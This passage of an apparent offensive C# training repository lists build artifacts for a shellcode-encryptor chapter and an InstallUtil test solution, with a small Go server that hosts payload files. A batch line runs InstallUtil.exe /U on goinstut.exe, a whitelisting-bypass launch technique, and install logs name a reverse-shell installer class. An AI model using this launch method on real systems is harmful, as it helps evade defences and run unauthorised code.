EncShell\ShellCodeEncryptor\obj\Debug\ShellCodeEncryptor.Properties.Resources.resources 7 | D:\aalphaas\offensivec#\Chapter7 - EncShell\ShellCodeEncryptor\obj\Debug\ExecShellCode.csproj.GenerateResource.cache 8 | D:\aalphaas\offensivec#\Chapter7 - EncShell\ShellCodeEncryptor\obj\Debug\ExecShellCode.csproj.CoreCompileInputs.cache 9 | D:\aalphaas\offensivec#\Chapter7 - EncShell\ShellCodeEncryptor\obj\Debug\ShellCodeEncryptor.exe 10 | D:\aalphaas\offensivec#\Chapter7 - EncShell\ShellCodeEncryptor\obj\Debug\ShellCodeEncryptor.pdb 11 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/obj/Debug/ExecShellCode.csproj.GenerateResource.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/ShellCodeEncryptor/obj/Debug/ExecShellCode.csproj.GenerateResource.cache -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/obj/Debug/ExecShellCode.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/ShellCodeEncryptor/obj/Debug/ExecShellCode.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/obj/Debug/ShellCodeEncryptor.ExecShellForm.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/ShellCodeEncryptor/obj/Debug/ShellCodeEncryptor.ExecShellForm.resources -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/obj/Debug/ShellCodeEncryptor.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/ShellCodeEncryptor/obj/Debug/ShellCodeEncryptor.Properties.Resources.resources -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/obj/Debug/ShellCodeEncryptor.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/ShellCodeEncryptor/obj/Debug/ShellCodeEncryptor.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/obj/Debug/ShellCodeEncryptor.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/ShellCodeEncryptor/obj/Debug/ShellCodeEncryptor.exe -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/obj/Debug/ShellCodeEncryptor.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/ShellCodeEncryptor/obj/Debug/ShellCodeEncryptor.pdb -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/obj/x64/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] 5 | -------------------------------------------------------------------------------- /Chapter7 - EncShell/ShellCodeEncryptor/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/ShellCodeEncryptor/obj/x64/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /Chapter7 - EncShell/webserv.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/Chapter7 - EncShell/webserv.exe -------------------------------------------------------------------------------- /Chapter7 - EncShell/webserv.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "net/http" 6 | "time" 7 | 8 | "github.com/gorilla/mux" 9 | ) 10 | 11 | func welcome(w http.ResponseWriter, r *http.Request) { 12 | fmt.Fprintf(w, "welcome !!") 13 | } 14 | 15 | func main() { 16 | router := mux.NewRouter() 17 | router.HandleFunc("/", welcome) 18 | router.PathPrefix("/OutFiles/").Handler(http.StripPrefix("/OutFiles/", http.FileServer(http.Dir("OutFiles/")))) 19 | 20 | srv := &http.Server{ 21 | Handler: router, 22 | Addr: "0.0.0.0:8080", 23 | // Good practice: enforce timeouts for servers you create! 24 | WriteTimeout: 180 * time.Second, 25 | ReadTimeout: 180 * time.Second, 26 | } 27 | srv.ListenAndServe() 28 | 29 | } 30 | -------------------------------------------------------------------------------- /InstallUtilTest/.vs/InstallUtilTest/v16/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/.vs/InstallUtilTest/v16/.suo -------------------------------------------------------------------------------- /InstallUtilTest/.vs/InstallUtilTest/v16/Server/sqlite3/db.lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/.vs/InstallUtilTest/v16/Server/sqlite3/db.lock -------------------------------------------------------------------------------- /InstallUtilTest/.vs/InstallUtilTest/v16/Server/sqlite3/storage.ide: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/.vs/InstallUtilTest/v16/Server/sqlite3/storage.ide -------------------------------------------------------------------------------- /InstallUtilTest/Consoleinst/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /InstallUtilTest/Consoleinst/Consoleinst.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {6D2B239C-BA1E-43EC-8334-D67D52B77181} 8 | Exe 9 | Consoleinst 10 | Consoleinst 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /InstallUtilTest/Consoleinst/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Consoleinst")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("HP Inc.")] 12 | [assembly: AssemblyProduct("Consoleinst")] 13 | [assembly: AssemblyCopyright("Copyright © HP Inc. 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("6d2b239c-ba1e-43ec-8334-d67d52b77181")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /InstallUtilTest/Consoleinst/bin/Debug/Consoleinst.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/Consoleinst/bin/Debug/Consoleinst.exe -------------------------------------------------------------------------------- /InstallUtilTest/Consoleinst/bin/Debug/Consoleinst.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /InstallUtilTest/Consoleinst/bin/Debug/Consoleinst.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/Consoleinst/bin/Debug/Consoleinst.pdb -------------------------------------------------------------------------------- /InstallUtilTest/Consoleinst/bin/Debug/InstallUtil.InstallLog: -------------------------------------------------------------------------------- 1 |  2 | 3 | The uninstall is beginning. 4 | See the contents of the log file for the C:\Windows\temp\goinstut.exe assembly's progress. 5 | The file is located at C:\Windows\temp\goinstut.InstallLog. 6 | -------------------------------------------------------------------------------- /InstallUtilTest/Consoleinst/bin/Debug/System.Configuration.Install.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/Consoleinst/bin/Debug/System.Configuration.Install.dll -------------------------------------------------------------------------------- /InstallUtilTest/Consoleinst/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] 5 | -------------------------------------------------------------------------------- /InstallUtilTest/Consoleinst/obj/Debug/Consoleinst.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 655588a3f579adc0ace98531b89b1f4f32c3cafd 2 | -------------------------------------------------------------------------------- /InstallUtilTest/Consoleinst/obj/Debug/Consoleinst.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | D:\aalphaas\offensivec#\InstallUtilTest\Consoleinst\bin\Debug\Consoleinst.exe.config 2 | D:\aalphaas\offensivec#\InstallUtilTest\Consoleinst\bin\Debug\Consoleinst.exe 3 | D:\aalphaas\offensivec#\InstallUtilTest\Consoleinst\bin\Debug\Consoleinst.pdb 4 | D:\aalphaas\offensivec#\InstallUtilTest\Consoleinst\obj\Debug\Consoleinst.csproj.CoreCompileInputs.cache 5 | D:\aalphaas\offensivec#\InstallUtilTest\Consoleinst\obj\Debug\Consoleinst.exe 6 | D:\aalphaas\offensivec#\InstallUtilTest\Consoleinst\obj\Debug\Consoleinst.pdb 7 | -------------------------------------------------------------------------------- /InstallUtilTest/Consoleinst/obj/Debug/Consoleinst.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/Consoleinst/obj/Debug/Consoleinst.exe -------------------------------------------------------------------------------- /InstallUtilTest/Consoleinst/obj/Debug/Consoleinst.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/Consoleinst/obj/Debug/Consoleinst.pdb -------------------------------------------------------------------------------- /InstallUtilTest/Consoleinst/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/Consoleinst/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /InstallUtilTest/InstallUtilTest.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29403.142 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "InstallUtilTest", "InstallUtilTest\InstallUtilTest.csproj", "{9EA4E0DC-9723-4D93-85BB-A4FCAB0AD210}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "buildit", "buildit\buildit.csproj", "{42E8B9E1-0CF4-46AE-B573-9D0563E41238}" 9 | EndProject 10 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Consoleinst", "Consoleinst\Consoleinst.csproj", "{6D2B239C-BA1E-43EC-8334-D67D52B77181}" 11 | EndProject 12 | Global 13 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 14 | Debug|Any CPU = Debug|Any CPU 15 | Release|Any CPU = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {9EA4E0DC-9723-4D93-85BB-A4FCAB0AD210}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 19 | {9EA4E0DC-9723-4D93-85BB-A4FCAB0AD210}.Debug|Any CPU.Build.0 = Debug|Any CPU 20 | {9EA4E0DC-9723-4D93-85BB-A4FCAB0AD210}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {9EA4E0DC-9723-4D93-85BB-A4FCAB0AD210}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {42E8B9E1-0CF4-46AE-B573-9D0563E41238}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 23 | {42E8B9E1-0CF4-46AE-B573-9D0563E41238}.Debug|Any CPU.Build.0 = Debug|Any CPU 24 | {42E8B9E1-0CF4-46AE-B573-9D0563E41238}.Release|Any CPU.ActiveCfg = Release|Any CPU 25 | {42E8B9E1-0CF4-46AE-B573-9D0563E41238}.Release|Any CPU.Build.0 = Release|Any CPU 26 | {6D2B239C-BA1E-43EC-8334-D67D52B77181}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 27 | {6D2B239C-BA1E-43EC-8334-D67D52B77181}.Debug|Any CPU.Build.0 = Debug|Any CPU 28 | {6D2B239C-BA1E-43EC-8334-D67D52B77181}.Release|Any CPU.ActiveCfg = Release|Any CPU 29 | {6D2B239C-BA1E-43EC-8334-D67D52B77181}.Release|Any CPU.Build.0 = Release|Any CPU 30 | EndGlobalSection 31 | GlobalSection(SolutionProperties) = preSolution 32 | HideSolutionNode = FALSE 33 | EndGlobalSection 34 | GlobalSection(ExtensibilityGlobals) = postSolution 35 | SolutionGuid = {C7AD9D1C-819F-4D89-A515-B43A2F23AE3A} 36 | EndGlobalSection 37 | EndGlobal 38 | -------------------------------------------------------------------------------- /InstallUtilTest/InstallUtilTest/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /InstallUtilTest/InstallUtilTest/InstallUtilTest.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {9EA4E0DC-9723-4D93-85BB-A4FCAB0AD210} 8 | Exe 9 | InstallUtilTest 10 | InstallUtilTest 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /InstallUtilTest/InstallUtilTest/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("InstallUtilTest")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("Microsoft")] 12 | [assembly: AssemblyProduct("InstallUtilTest")] 13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("9ea4e0dc-9723-4d93-85bb-a4fcab0ad210")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /InstallUtilTest/InstallUtilTest/bin/Debug/InstallUtil.InstallLog: -------------------------------------------------------------------------------- 1 |  2 | 3 | The uninstall is beginning. 4 | See the contents of the log file for the D:\aalphaas\offensivec#\InstallUtilTest\InstallUtilTest\bin\Debug\InstallUtilTest.exe assembly's progress. 5 | The file is located at D:\aalphaas\offensivec#\InstallUtilTest\InstallUtilTest\bin\Debug\InstallUtilTest.InstallLog. 6 | 7 | The uninstall has completed. 8 | 9 | 10 | The uninstall is beginning. 11 | See the contents of the log file for the D:\aalphaas\offensivec#\InstallUtilTest\InstallUtilTest\bin\Debug\goinstut.exe assembly's progress. 12 | The file is located at D:\aalphaas\offensivec#\InstallUtilTest\InstallUtilTest\bin\Debug\goinstut.InstallLog. 13 | -------------------------------------------------------------------------------- /InstallUtilTest/InstallUtilTest/bin/Debug/InstallUtilTest.InstallLog: -------------------------------------------------------------------------------- 1 | Uninstalling assembly 'D:\aalphaas\offensivec#\InstallUtilTest\InstallUtilTest\bin\Debug\InstallUtilTest.exe'. 2 | Affected parameters are: 3 | logtoconsole = false 4 | logfile = D:\aalphaas\offensivec#\InstallUtilTest\InstallUtilTest\bin\Debug\InstallUtilTest.InstallLog 5 | assemblypath = D:\aalphaas\offensivec#\InstallUtilTest\InstallUtilTest\bin\Debug\InstallUtilTest.exe 6 | An exception occurred during the uninstallation of the InstallUtilTest.RevShellInsaller installer. 7 | System.Net.Sockets.SocketException: An established connection was aborted by the software in your host machine 8 | An exception occurred while uninstalling. This exception will be ignored and the uninstall will continue. However, the application might not be fully uninstalled after the uninstall is complete. 9 | -------------------------------------------------------------------------------- /InstallUtilTest/InstallUtilTest/bin/Debug/InstallUtilTest.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /InstallUtilTest/InstallUtilTest/bin/Debug/InstallUtilTest.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/InstallUtilTest/bin/Debug/InstallUtilTest.pdb -------------------------------------------------------------------------------- /InstallUtilTest/InstallUtilTest/bin/Debug/goinstut.InstallLog: -------------------------------------------------------------------------------- 1 | Uninstalling assembly 'D:\aalphaas\offensivec#\InstallUtilTest\InstallUtilTest\bin\Debug\goinstut.exe'. 2 | Affected parameters are: 3 | logtoconsole = false 4 | logfile = D:\aalphaas\offensivec#\InstallUtilTest\InstallUtilTest\bin\Debug\goinstut.InstallLog 5 | assemblypath = D:\aalphaas\offensivec#\InstallUtilTest\InstallUtilTest\bin\Debug\goinstut.exe 6 | -------------------------------------------------------------------------------- /InstallUtilTest/InstallUtilTest/bin/Debug/goinstut.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/InstallUtilTest/bin/Debug/goinstut.exe -------------------------------------------------------------------------------- /InstallUtilTest/InstallUtilTest/bin/Debug/runit.bat: -------------------------------------------------------------------------------- 1 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /LogToConsole=false /U .\goinstut.exe -------------------------------------------------------------------------------- /InstallUtilTest/InstallUtilTest/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] 5 | -------------------------------------------------------------------------------- /InstallUtilTest/InstallUtilTest/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/InstallUtilTest/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /InstallUtilTest/InstallUtilTest/obj/Debug/InstallUtilTest.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 9968417e2882e726c39d3c09161906204852a463 2 | -------------------------------------------------------------------------------- /InstallUtilTest/InstallUtilTest/obj/Debug/InstallUtilTest.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | D:\aalphaas\offensivec#\InstallUtilTest\InstallUtilTest\bin\Debug\InstallUtilTest.exe.config 2 | D:\aalphaas\offensivec#\InstallUtilTest\InstallUtilTest\bin\Debug\InstallUtilTest.exe 3 | D:\aalphaas\offensivec#\InstallUtilTest\InstallUtilTest\bin\Debug\InstallUtilTest.pdb 4 | D:\aalphaas\offensivec#\InstallUtilTest\InstallUtilTest\obj\Debug\InstallUtilTest.exe 5 | D:\aalphaas\offensivec#\InstallUtilTest\InstallUtilTest\obj\Debug\InstallUtilTest.pdb 6 | D:\aalphaas\offensivec#\InstallUtilTest\InstallUtilTest\obj\Debug\InstallUtilTest.csprojAssemblyReference.cache 7 | D:\aalphaas\offensivec#\InstallUtilTest\InstallUtilTest\obj\Debug\InstallUtilTest.csproj.CoreCompileInputs.cache 8 | -------------------------------------------------------------------------------- /InstallUtilTest/InstallUtilTest/obj/Debug/InstallUtilTest.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/InstallUtilTest/obj/Debug/InstallUtilTest.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /InstallUtilTest/InstallUtilTest/obj/Debug/InstallUtilTest.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/InstallUtilTest/obj/Debug/InstallUtilTest.exe -------------------------------------------------------------------------------- /InstallUtilTest/InstallUtilTest/obj/Debug/InstallUtilTest.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/diljith369/OffensiveCSharp/08eb762fe4887474367c9ecfb6179ae526965815/InstallUtilTest/InstallUtilTest/obj/Debug/InstallUtilTest.pdb -------------------------------------------------------------------------------- /InstallUtilTest/buildit/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /InstallUtilTest/buildit/Form1.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace buildit 2 | { 3 | partial class Form1 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.button1 = new System.Windows.Forms.Button(); 32 | this.textBox1 = new System.Windows.Forms.TextBox(); 33 | this.textBox2 = new System.Windows.Forms.TextBox(); 34 | this.SuspendLayout(); 35 | // 36 | // button1 37 | // 38 | this.button1.Location = new System.Drawing.Point(430, 43); 39 | this.button1.Name = "button1"; 40 | this.button1.Size = new System.Drawing.Size(188, 73); 41 | this.button1.TabIndex = 0; 42 | this.button1.Text = "button1"; 43 | this.button1.UseVisualStyleBackColor = true; 44 | this.button1.Click += new System.EventHandler(this.button1_Click); 45 | // 46 | // textBox1 47 | // 48 | this.textBox1.Location = new System.Drawing.Point(77, 134); 49 | this.textBox1.Multiline = true; 50 | this.textBox1.Name = "textBox1"; 51 | this.textBox1.Size = new System.Drawing.Size(698, 123); 52 | this.textBox1.TabIndex = 1; 53 | // 54 | // textBox2 55 | // 56 | this.textBox2.Location = new System.Drawing.Point(77, 263); 57 | this.textBox2.Multiline = true; 58 | this.textBox2.Name = "textBox2"; 59 | this.textBox2.Size = new System.Drawing.Size(698, 126); 60 | this.textBox2.TabIndex = 2; 61 | // 62 | // Form1 63 | // 64 | this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); 65 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 66 | this.ClientSize = new System.Drawing.Size(800, 450); 67 | this.Controls.Add(this.textBox2); 68 | this.Controls.Add(this.textBox1); 69 | this.Controls.Add(this.button1); 70 | this.Name = "Form1"; 71 | this.Text = "Form1"; 72 | this.ResumeLayout(false); 73 | this.PerformLayout(); 74 | 75 | } 76 | 77 | #endregion 78 | 79 | private System.Windows.Forms.Button button1; 80 | private System.Windows.Forms.TextBox textBox1; 81 | private System.Windows.Forms.TextBox textBox2; 82 | } 83 | } 84 | 85 | -------------------------------------------------------------------------------- /InstallUtilTest/buildit/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using System.Windows.Forms; 6 | 7 | namespace buildit 8 | { 9 | static class Program 10 | { 11 | /// 12 | /// The main entry point for the application. 13 | /// 14 | [STAThread] 15 | static void Main() 16 | { 17 | Application.EnableVisualStyles(); 18 | Application.SetCompatibleTextRenderingDefault(false); 19 | Application.Run(new Form1()); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /InstallUtilTest/buildit/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("buildit")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("HP Inc.")] 12 | [assembly: AssemblyProduct("buildit")] 13 | [assembly: AssemblyCopyright("Copyright © HP Inc. 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("42e8b9e1-0cf4-46ae-b573-9d0563e41238")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /InstallUtilTest/buildit/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace buildit.Properties 12 | { 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources 26 | { 27 | 28 | private static global::System.Resources.ResourceManager resourceMan; 29 | 30 | private static global::System.Globalization.CultureInfo resourceCulture; 31 | 32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 33 | internal Resources() 34 | { 35 | } 36 | 37 | /// 38 | /// Returns the cached ResourceManager instance used by this class. 39 | /// 40 | 